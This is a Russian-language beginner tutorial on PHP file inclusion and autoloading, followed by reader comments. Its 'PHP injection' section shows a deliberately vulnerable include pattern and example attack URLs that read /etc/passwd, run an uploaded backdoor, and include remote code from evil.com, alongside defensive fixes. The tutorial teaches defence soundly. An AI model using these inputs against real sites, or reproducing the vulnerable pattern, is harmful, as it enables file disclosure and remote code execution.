PHP для начинающих. Подключение файлов

  • Tutorial
image


В продолжении серии «PHP для начинающих», сегодняшняя статья будет посвящена тому, как PHP ищет и подключает файлы.

Для чего и почему


PHP это скриптовый язык, созданный изначально для быстрого ваяния домашних страничек (да, да изначально это же был Personal Home Page Tools), а в дальнейшем на нём уже стали создавать магазины, социалки и другие поделки на коленке которые выходят за рамки задуманного, но к чему это я – а к тому, что чем больше функционала закодировано, тем больше желание его правильно структурировать, избавиться от дублирования кода, разбить на логические кусочки и подключать лишь при необходимости (это тоже самое чувство, которое возникло у вас, когда вы читали это предложение, его можно было бы разбить на отдельные кусочки). Для этой цели в PHP есть несколько функции, общий смысл которых сводится к подключению и интерпретации указанного файла. Давайте рассмотрим на примере подключения файлов:

// file variable.php
$a = 0;

// file increment.php
$a++;

// file index.php
include ('variable.php');
include ('increment.php');
include ('increment.php');

echo $a;

Если запустить скрипт index.php, то PHP всё это будет последовательно подключать и выполнять:

$a = 0;
$a++;
$a++;
echo $a; // выведет 2

Когда файл подключается, то его код оказывается в той же области видимости, что и строка в которой его подключили, таким образом все переменные, доступные в данной строке будут доступны и в подключаемом файле. Если в подключаемом файле были объявлены классы или функции, то они попадают в глобальную область видимости (если конечно для них не был указан namespace).

Если вы подключаете файл внутри функции, то подключаемые файлы получают доступ к области видимости функции, таким образом следующий код тоже будет работать:

function() {
    $a = 0;
    include ('increment.php');
    include ('increment.php');
    echo $a;
}
a(); // выведет 2

Отдельно отмечу магические константы: __DIR__, __FILE__, __LINE__ и прочие — они привязаны к контексту и выполняются до того, как происходит включение
Особенностью подключения файлов является тот момент, что при подключении файла парсинг переключается в режим HTML, по этой причине любой код внутри включаемого файла должен быть заключен в PHP теги:

<?php
// подключаемый код
// ...
//
?>

Если у вас в файле только PHP код, то закрывающий тег принято опускать, дабы случайно не забыть какие-нить символы после закрывающего тега, что чревато проблемами (об этом я ещё расскажу в следующей статье).
А вы видели сайт-файл на 10 000 строк? Аж слёзы на глазах (╥_╥)…

Функции подключения файлов


Как уже было сказано выше, в PHP существует несколько функций для подключения файлов:

  • include — включает и выполняет указанный файл, если не находит — выдаёт предупреждение E_WARNING
  • include_once — аналогично функции выше, но включает файл единожды
  • require — включает и выполняет указанный файл, если не находит — выдаёт фатальную ошибку E_ERROR
  • require_once — аналогично функции выше, но включает файл единожды

В действительности, это не совсем функции, это специальные языковые конструкции, и можно круглые скобочки не использовать. Кроме всего прочего есть и другие способы подключения и выполнения файлов, но это уже сами копайте, пусть это будет для вас «задание со звёздочкой» ;)
Давайте разберём на примерах различия между require и require_once, возьмём один файл echo.php:

<p>text of file echo.php</p>

И будем его подключать несколько раз:

<?php
// подключит и выполнит файл
// вернёт 1
require_once 'echo.php';

// файл не будет подключён, т.к. уже подключали
// вернёт true
require_once 'echo.php';

// подключит и выполнит файл
// вернёт 1
require 'echo.php';

Результатом выполнения будет два подключения файла echo.php:

<p>text of file echo.php</p>
<p>text of file echo.php</p>

Существует ещё парочка директив, которые влияют на подключение, но они вам не потребуются — auto_prepend_file и auto_append_file. Эти директивы позволяют установить файлы которые будут подключены до подключения всех файлов и после выполнения всех скриптов соответственно. Я даже не могу придумать «живой» сценарий, когда это может потребоваться.

Задание
Таки придумать и реализовать сценарий по использованию директив auto_prepend_file и auto_append_file, менять их можно только в php.ini, .htaccess или httpd.conf (см. PHP_INI_PERDIR) :)

Где ищет?


PHP ищет подключаемые файлы в директориях прописанных в директиве include_path. Эта директива также влияет на работу функций fopen(), file(), readfile() и file_get_contents(). Алгоритм работы достаточно простой — при поиске файлов PHP по очереди проверяет каждую директорию из include_path, пока не найдет подключаемый файл, если не найдёт — вернёт ошибку. Для изменения include_path из скрипта следует использовать функцию set_include_path().

При настройке include_path следует учитывать один важный момент — в качестве разделителя путей в Windows и Linux используются различные символы — ";" и ":" соответственно, так что при указании своей директории используйте константу PATH_SEPARATOR, например:

// пример пути в linux
$path = '/home/dev/library';

// пример пути в windows
$path = 'c:\Users\Dev\Library';

// для linux и windows код изменение include_path идентичный
set_include_path(get_include_path() . PATH_SEPARATOR . $path);

Когда вы прописываете include_path в ini файле, то можете использовать переменные окружения типа ${USER}:

include_path = ".:${USER}/my-php-library"


Если при подключении файла вы прописываете абсолютный путь (начинающийся с "/") или относительный (начинающийся с "." или ".."), то директива include_path будет проигнорирована, а поиск будет осуществлён только по указанному пути.
Возможно стоило бы рассказать и про safe_mode, но это уже давно история (с версии 5.4), и я надеюсь вы сталкиваться с ним не будете, но если вдруг, то чтобы знали, что такое было, но прошло...

Использование return


Расскажу о небольшом life-hack'е — если подключаемый файл возвращает что-либо с использованием конструкции return, то эти данные можно получить и использовать, таким образом можно легко организовать подключение файлов конфигурации, приведу пример для наглядности:

return [
    'host' => 'localhost',
    'user' => 'root',
    'pass' => ''
];

$dbConfig = require 'config/db.php';

var_dump($dbConfig);

/*
array(
  'host' => 'localhost',
  'user' => 'root',
  'pass' => ''
)
*/

Занимательные факты, без которых жилось и так хорошо: если во включаемом файле определены функции, то они могут быть использованы в основном файле вне зависимости от того, были ли они объявлены до return или после
Задание
Написать код, который будет собирать конфигурацию из нескольких папок и файлов. Структура файлов следующая:

config
|-- default
|  |-- db.php
|  |-- debug.php
|  |-- language.php
|  `-- template.php
|-- development
|  `-- db.php
`-- production
   |-- db.php
   `-- language.php

При этом код должен работать следующим образом:

  • если в системном окружении есть переменная PROJECT_PHP_SERVER и она равна development, то должны быть подключены все файлы из папки default, данные занесены в перемененную $config, затем подключены файлы из папки development, а полученные данные должны перетереть соответствующие пункты сохраненные в $config
  • аналогичное поведение если PROJECT_PHP_SERVER равна production (естественно только для папки production)
  • если переменной нет, или она задана неверно, то подключаются только файлы из папки default


Автоматическое подключение


Конструкции с подключением файлов выглядят очень громоздко, так и ещё и следить за их обновлением — ещё тот подарочек, зацените кусочек кода из примера статьи про исключения:

// load all files w/out autoloader
require_once 'Education/Command/AbstractCommand.php';
require_once 'Education/CommandManager.php';
require_once 'Education/Exception/EducationException.php';
require_once 'Education/Exception/CommandManagerException.php';
require_once 'Education/Exception/IllegalCommandException.php';
require_once 'Education/RequestHelper.php';
require_once 'Education/Front.php';

Первой попыткой избежать подобного «счастья» было появление функции __autoload. Сказать точнее, это была даже не определенная функция, эту функцию вы должны были определить сами, и уже с её помощью нужно было подключать необходимые нам файлы по имени класса. Единственным правилом считалось, что для каждого класса должен быть создан отдельный файл по имени класса (т.е. myClass должен быть внутри файла myClass.php). Вот пример реализации такой функции __autoload() (взят из комментариев к официальному руководству):

Класс который будем подключать:

// класс myClass в отдельном файле myClass.php
class myClass {
    public function __construct() {
        echo "myClass init'ed successfuly!!!";
    }
}

Файл, который подключает данный класс:

// пример реализации
// ищем файлы согласно директивы include_path
function __autoload($classname) {
    $filename = $classname .".php";
    include_once $filename;
}

// создаём класс
$obj = new myClass();

Теперь о проблемах с данной функцией — представьте ситуацию, что вы подключаете сторонний код, а там уже кто-то прописал функцию __autoload() для своего кода, и вуаля:

Fatal error: Cannot redeclare __autoload()

Чтобы такого не было, создали функцию, которая позволяет регистрировать произвольную функцию или метод в качестве загрузчика классов — spl_autoload_register. Т.е. мы можем создать несколько функций с произвольным именем для загрузки классов, и зарегистрировать их с помощью spl_autoload_register. Теперь index.php будет выглядеть следующим образом:

// пример реализации
// ищем файлы согласно директивы include_path
function myAutoload($classname) {
    $filename = $classname .".php";
    include_once($filename);
}

// регистрируем загрузчик
spl_autoload_register('myAutoload');

// создаём класс
$obj = new myClass();

Рубрика «а вы знали?»: первый параметр spl_autoload_register() не является обязательным, и вызвав функцию без него, в качестве загрузчика будет использоваться функция spl_autoload, поиск будет осуществлён по папкам из include_path и файлам с расширением .php и .inc, но этот список можно расширить с помощью функции spl_autoload_extensions
Теперь каждый разработчик может регистрировать свой загрузчик, главное чтобы имена классов не совпадали, но это не должно стать проблемой, если вы используете пространства имён.
Поскольку уже давно существует такой продвинутый функционал как spl_autoload_register(), то функцию __autoload() уже заявлена как deprecated в PHP 7.1, а это значит, что в обозримом будущем данную функцию и вовсе уберут (Х_х)
Ну более-менее картина прояснилась, хотя погодите, все зарегистрированные загрузчики становятся в очередь, по мере их регистрации, соответственно, если кто-то нахимичил в своё загрузчике, то вместо ожидаемого результата может получится очень неприятный баг. Чтобы такого не было, взрослые умные дядьки описали стандарт, который позволяет подключать сторонние библиотеки без проблем, главное чтобы организация классов в них соответствовала стандарту PSR-0 (устарел уже лет 10 как) или PSR-4. В чём суть требований описанных в стандартах:

  1. Каждая библиотека должна жить в собственном пространстве имён (т.н. vendor namespace)
  2. Для каждого пространства имён должна быть создана собственная папка
  3. Внутри пространства имён могут быть свои подпространства — тоже в отдельных папках
  4. Один класс — один файл
  5. Имя файла с расширением .php должно точно соответствовать имени класса

Пример из мануала:
Полное имя класса Пространство имён Базовая директория Полный путь
\Acme\Log\Writer\File_Writer Acme\Log\Writer ./acme-log-writer/lib/ ./acme-log-writer/lib/File_Writer.php
\Aura\Web\Response\Status Aura\Web /path/to/aura-web/src/ /path/to/aura-web/src/Response/Status.php
\Symfony\Core\Request Symfony\Core ./vendor/Symfony/Core/ ./vendor/Symfony/Core/Request.php
\Zend\Acl Zend /usr/includes/Zend/ /usr/includes/Zend/Acl.php


Различия этих двух стандартов, лишь в том, что PSR-0 поддерживает старый код без пространства имён (т.е. до версии 5.3.0), а PSR-4 избавлен от этого анахронизма, да ещё и позволяет избежать ненужной вложенности папок.

Благодаря этим стандартам, стало возможно появление такого инструмента как composer — универсального менеджера пакетов для PHP. Если кто пропустил, то есть хороший доклад от pronskiy про данный инструмент.


PHP-инъекция


Ещё хотел рассказать о первой ошибки всех, кто делает единую точку входа для сайта в одном index.php и называет это MVC-фреймворком:

<?php
$page = $_GET['page'] ?? die('Wrong filename');

if (!is_file($page)) {
    die('Wrong filename');
}

include $page;

Смотришь на код, и так и хочется чего-нить вредоносного туда передать:

// получить неожиданное поведение системы
http://domain.com/index.php?page=../index.php

// прочитать файлы в директории сервера
http://domain.com/index.php?page=config.ini

// прочитать системные файлы
http://domain.com/index.php?page=/etc/passwd

// запустить файлы, которые мы заранее залили на сервер
http://domain.com/index.php?page=user/backdoor.php

Первое, что приходит на ум — принудительно добавлять расширение .php, но в ряде случаев это можно обойти «благодаря» уязвимости нулевого байта (почитайте, эту уязвимость уже давно исправили, но вдруг вам попадётся интерпретатор более древний, чем PHP 5.3, ну и для общего развития тоже рекомендую):

// прочитать системные файлы
http://domain.com/index.php?page=/etc/passwd%00

В современных версиях PHP наличие символа нулевого байта в пути подключаемого файла сразу приводит к соответствующей ошибке подключения, и даже если указанный файл существует и его можно подключить, то в результате всегда будет ошибка, проверяется это следующим образом strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (это из недров самого PHP)
Вторая «стоящая» мысль, это проверка на нахождение файла в текущей директории:

<?php
$page = $_GET['page'] ?? die('Wrong filename');

if (strpos(realpath($page), __DIR__) !== 0) {
    die('Wrong path to file');
}

include $page . '.php';

Третья, но не последняя модификация проверки, это использование директивы open_basedir, с её помощью можно указать директорию, где именно PHP будет искать файлы для подключения:

<?php
$page = $_GET['page'] ?? die('Wrong filename');

ini_set('open_basedir', __DIR__);

include $page . '.php';

Будьте внимательны, данная директива влияет не только на подключение файлов, но и на всю работу с файловой системой, т.е. включая данное ограничение вы должны быть уверены, что ничего не забыли вне указанной директории, ни кешированные данные, ни какие-либо пользовательские файлы (хотя функции is_uploaded_file() и move_uploaded_file() продолжат работать с временной папкой для загруженных файлов).
Какие ещё возможны проверки? Уйма вариантов, всё зависит от архитектуры вашего приложения.

Хотел ещё вспомнить о существовании «чудесной» директивы allow_url_include (у неё зависимость от allow_url_fopen), она позволяет подключать и выполнять удаленный PHP файлы, что куда как опасней для вашего сервера:

// подключаем удалённый PHP скрипт
http://domain.com/index.php?page=http://evil.com/index.php

Увидели, запомнили, и никогда не пользуйтесь, благо по умолчанию выключено. Данная возможность вам потребуется чуть реже, чем никогда, во всех остальных случаях закладывайте правильную архитектуру приложения, где различные части приложения общаются посредством API.

Задание
Написать скрипт, который позволит подключать php-скрипты из текущей папки по названию, при этом следуют помнить о возможных уязвимостях и не допустить промашек.

В заключение


Данная статья — основа-основ в PHP, так что изучайте внимательно, выполняйте задания и не филоньте, за вас никто учить не будет.

P.S.


Это репост из серии статей «PHP для начинающих»:


Если у вас есть замечания по материалу статьи, или возможно по форме, то описывайте в комментариях суть, и мы сделаем данный материал ещё лучше.
Поделиться публикацией

Комментарии 46

    –2
    У меня возникает некий диссонанс, когда на хабре в 2019 году я вижу статьи из серии «php для начинающих».
      +10

      Куда больший диссонанс возникнет, если начнётся серия статей "php для заканчивающих".

        +1
        За 10 лет к этому уже можно было и привыкнуть.
        0
        Еще лучше в 2019 видеть инструкцию по использованию require_once.
          +2
          Почему нет? Если человек пишет на PHP он должен иметь представление об incude и require вне зависимости от того что он использует композер. Сам композер под капотом юзает: require_once __DIR__. '/composer/autoload_real.php'; не понимать это было бы странным чтоли)
          +19
          Ну не знаю, не знаю: за последние 5 лет уже закопали целую кучу «революционных» JS-фреймворков вместе со спецами по ним, а PHP по-прежнему живее всех живых.
            –7
            А чего это вы язык с фреймверками сравниваете? Сравнивайте с JS, который совершенно не испытывает тенденции к умиранию. В отличии от PHP, доля которого снижается, и уже сравнялась с JS.
            image
              +6
              Тенденции к росту JS я тоже не вижу, а PHP вымирает похоже вместе с C# в этот раз…
              … пойду Python учить, вон как вверх полез.
                +2
                Ну, по крайней мере, он держится на одном уровне — это явно не «закопали»
                  +4
                  Мне казалось, холивары о языках хабр перерос, но я ошибался, и они ещё кому-то интересны…
                    0
                    Ну в природе закапывание подразумевает фиксацию на стабильной глубине.
                    +1
                    Все как на бирже. Смотришь какие графики растут и в это вкладываешься.
                    А потом оказывается, что так делает еще пару миллионов человек и что это не так работает. :)
                    +7

                    Проблема в том, что специалисты по JS никому не нужны — нужны специалисты по Angular, Vue, Amber и т.д.

                      –1
                      Блин, что-то я фигню придумал: с такими графиками в пост про PHP приходить.
                        0
                        Вы всё ещё считаете, что проблема именно в PHP?
                          0
                          А я говорил, что проблема в PHP?
                          «Проблема» в сообществе(хотя это не проблема, а просто особенность человеческой психики), и в моем поведении — не подумал об этой особенности.
                            0
                            Не думаю, что это особенность PHP сообщества, это свойственно всем сообществам, ведь попытка «накидать камней» в чей либо огород влечёт вполне ожидаемую реакцию. Собственно, будь у меня возможность, я бы весь данный тред потёр, т.к. он не несёт никакой полезной информации, от слова совсем.
                              0
                              Не-не, не сообщества php ни в коем разе. Это черта любого сообщества.
                    –1
                    Для начинающих путешественников во времени.
                      +7

                      Это очень хорошо, что появляются статьи, и очень плохо, что диссонанс.
                      Из-за такого диссонанса до сих пор тостер весь завален кодом вида "while $row = mysqli_fetch_array...". потому что статьи для начинающих как были написаны в прошлом веке, так и тиражируются жадными авторами видеокурсов без учета новшеств, которые добавлялись в язык в течение 20 лет.
                      Не говоря уже о том, что обычно статьи для начинающих пишут сами начинающие. С предсказуемым результатом.
                      Поэтому грамотные статьи, которые показывают хорошие современные практики, необходимы как воздух.


                      РНР — это быстрый, удобный и современный язык программирования… который в представлении большинства остался набором скриптов Personal Home Page из прошлого века.
                      А всё из-за "диссонанса".

                        0
                        mysqli_fetch_array() это еще туда-сюда.

                        … а вот когда на полном серьезе рекомендуют писать var $a = mysql_connect()…
                      –4
                      Еще важно указать что include подключает файл непосредственно при выполнении данной строки, а require в момент компиляции. То есть строка
                      if (true==false){include 'file.php';} // Данный файл даже не будет читаться с диска.
                      if (true==false){require 'file.php';} // Данный файл будет при старте читаться с диска.
                        +6
                        Может оно и так, но глядя на код, я вижу лишь различие в сообщении об ошибке:
                        switch (type) {
                        	case ZEND_INCLUDE:
                        	case ZEND_REQUIRE:
                        		if (UNEXPECTED(strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename))) {
                        			zend_message_dispatcher(
                        				(type == ZEND_INCLUDE) ?
                        					ZMSG_FAILED_INCLUDE_FOPEN : ZMSG_FAILED_REQUIRE_FOPEN,
                        					Z_STRVAL_P(inc_filename));
                        			break;
                        	}
                        	new_op_array = compile_filename(type, inc_filename);
                        	break;
                        }
                        
                          +4
                          нет, откуда все это берут?) кто этот странный первоисточник?
                          поведение одинаковое, прям один в один, разница только в уровне ошибки.

                          Еще важно указать что include подключает файл непосредственно при выполнении данной строки, а require в момент компиляции. То есть строка
                          if (true==false){include 'file.php';} // Данный файл даже не будет читаться с диска.
                          if (true==false){require 'file.php';} // Данный файл будет при старте читаться с диска.

                          этот код прекрасно отработает и будет где-то жить своей жизнью, пока туда кто-то не войдет
                            +1
                            Это не так.
                              +3
                              Да, я оказался не прав.
                              Провел тест — при исполнении кода
                              if (true==false){include 'file.php';}
                              if (true==false){require 'file.php';}
                              

                              Ни один файл не был прочитан с диска!
                              Тогда остается вопрос, преподаватель не прав или все-же может в старых версиях php или при использовании оптимизаторов\кешей опкода или других доп. компонентов такое поведение возможно?
                                +1
                                Возможно преподавателя сбила с толку статья про require на php.su. Там действительно написано нечто такое.
                                Опробовал ваш код в windows в php 7.3, 5.5, 5.2, 4.4, старее не нашёл. В 5.5 пробовал с включенным opcache, так-же пробовал указывать ссылки на внешние файлы и включать параметры allow_url_fopen, allow_url_include. Файлы никогда не пытаются подключиться. Вероятно, кешируется тоже невыполняющийся кусок (если он вообще попадает в кеш?)
                                  +1
                                  Преподаватель неправ. Единица компиляции в PHP — файл. Компилируется файл при его подключении в рантайме из другого кода, то есть компиляция в PHP «по требованию», если опустить всякие нюансы про кэширование опкода или, скажем, phar.
                                +2

                                Сейчас в новом коде редко где встретишь, все рулит композер и use

                                  +1
                                  интересно, пойду задания выполнять
                                    0
                                    Вот про `return` не знал, спасибо!
                                      +1
                                      Открою страшную тайну, но в обычном файле PHP всегда есть return, а если там написать return, то там их станет два подряд %)

                                      Тривиальное объяснение этой особенности
                                      Имеются ввиду опкоды. Каждый файл всегда заканчивается этим опкодом. Но самое интересное в том, что этот самый опкод генерируется всегда и при любых условиях. Даже если сам файл уже содержит return.
                                        0

                                        Это-то понятно. Лично мимо меня как-то пролетело, что можно из include возвращать осмысленные данные из любого места включаемого скрипта.
                                        Интересно было бы узнать про функции после return — это фича или все же узаконенная бага?

                                          +3
                                          Интересно было бы узнать про функции после return — это фича или все же узаконенная бага?


                                          Немного теории: Вначале создаётся AST и параллельно выделяется место под так называемую «таблицу символов». Там вроде как хранятся только переменные с контекстом, но будем считать что ещё и всякие функции с классами. Так вот, в первом проходе обнаруживаются всякие function, class и прочее, чтобы на них можно было потом ссылаться. Сами ссылки на имена и типы называются «связыванием», время, когда это происходит — «ранним» (во время парсинга). Если это константа и вывод типа не требуется, то ещё и «статическим». Например, большинству PHP разработчиков становится теперь понятно когда именно всякие константы __DIR__, __CLASS__ и проч. заменяются на физические имена.

                                          Потом, после этих всех действий врубается интерпретатор, который считывает опкоды и который может ссылаться на константы через FETCH_ххх или DO_ххх опкоды. А return — это как раз опкод и выполняется уже во время работы интерпретатора, на «поздней» стадии.

                                          Получаем: Что в таблице символов уже зарегистрирована какая-то функция X. А понять до или после ретурна она задекларирована можно только начав выполнять код, да и лишнее это.

                                          Так что отвечая на вопрос — это совершенно нормальное поведение, даже не бага и допускаю, что так работают абсолютное большинство ЯП с более чем одним проходом. Такие вот пироги.
                                            +1

                                            В целом ясно, но не вполне логично(имхо) в контексте процедурного программирования.


                                            Вот, например, такой код


                                            f();
                                            if(true){
                                                function f(){ echo 1; }
                                            }

                                            вполне очевидно выдаст фатальную ошибку.
                                            По сути своей очень близко к ситуации с функциями после return'а во включаемом файле.
                                            Т.е., с одной стороны, можно рассматривать include как функцию с побочными эффектами(кодогенерация), раз уж есть return, который прерывает поток исполнения этой кодогенерации. С другой стороны, функции все равно продолжают генериться, хотя по здравому размышлению, не должны бы.


                                            Как-то сумбурно описал, но думаю идея понятна. Ну так — пустые философствования. :)

                                              +2
                                              Как-то сумбурно описал, но думаю идея понятна. Ну так — пустые философствования. :)

                                              Ща попробую декомпозировать эти тезисы.

                                              Функции внутри AST нод (ast node имею ввиду), отличных от корневой — не выносятся в таблицу заранее. Декларируются в рантайме, а значит и «недобага» не будет воспроизводится.
                                              Заголовок спойлера
                                              // 2.php
                                              <?php
                                              return;
                                              
                                              if (true) {
                                                  function f()
                                                  {
                                                      echo 42;
                                                  }
                                              }
                                              

                                              <?php
                                              require __DIR__ . '/2.php';
                                              
                                              f(); // fail
                                              


                                              Кажется всё, вот оно решение всех проблем!

                                              Но… По пунктам:
                                              1) Если просто написать функцию, то будет структура с подпрограммой.
                                              Заголовок спойлера
                                              line     #* E I O op       | operands
                                              ---------------------------|-----------
                                                 2     0  E >   EXT_STMT |
                                                       1        NOP      |
                                                 6     2      > RETURN   | 1
                                              


                                              2) Если запилить это всё в if, то опкод будет генерировать эту функцию (почти что eval, только с кешированием опкода).
                                              Заголовок спойлера
                                              line     #* E I O op               | operands
                                              -----------------------------------|-----------
                                                 2     0  E >   EXT_STMT         |
                                                       1      > JMPZ             | <true>, ->4 # Это вот ифчик
                                                 3     2    >   EXT_STMT         |
                                                       3        DECLARE_FUNCTION | 'f' # А вот это декларация функции
                                                 8     4    > > RETURN           | 1
                                              


                                              Так что получаем уже позднее связывание, а не раннее, как было до этого. Как следствие — вообще другой механизм и другой кусок кода, который отвечает за это объявление.

                                              ///

                                              Но если в целом — философствование это очень годное. Вынести return на ранний уровень и поступать аналогично механизмам, используемым в function. Т.е. тупо игнорировать дальнейший код, написанный после return, если он объявлен в корневой ноде AST. Дима Стогов как раз занимался DCE в PHP, можно ему подкинуть идейку.
                                                +1
                                                Только это поломает обратную совместимость, и голосование за такой RFC скорей всего будет провальным :(

                                                P.S. Вот такие топики «для начинающих» я люблю :)
                                      0
                                      Функцию автолоад выпиливают из PHP8. Думаю стоит об этом упомянуть в статье.
                                        0
                                        Ее еще в 7.2 выпилили (http://php.net/manual/en/function.autoload.php)
                                          0
                                          Не выпилили, а сделали депрекейтед. Разные вещи.
                                            0
                                            Про deprecated я упомянул в статье, насчёт удаление в PHP8 — это да, но может и раньше, поэтому я не указал конкретную версию.
                                        0
                                        А вы видели сайт-файл на 10 000 строк? Аж слёзы на глазах (╥_╥)…

                                        Да, была такая традиция для ускорения работы приложения склеивать всё вместе в один файл
                                        Типа один раз распарсил, в опкэш сохранил и получил кучу свободного времени.
                                          0
                                          Это было в 2005-м году, и это была не оптимизация, просто заказчик учил PHP…
                                          0
                                          А разве у Хабра не было в правилах про уникальный контент и запрет репостов?

                                        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                        Самое читаемое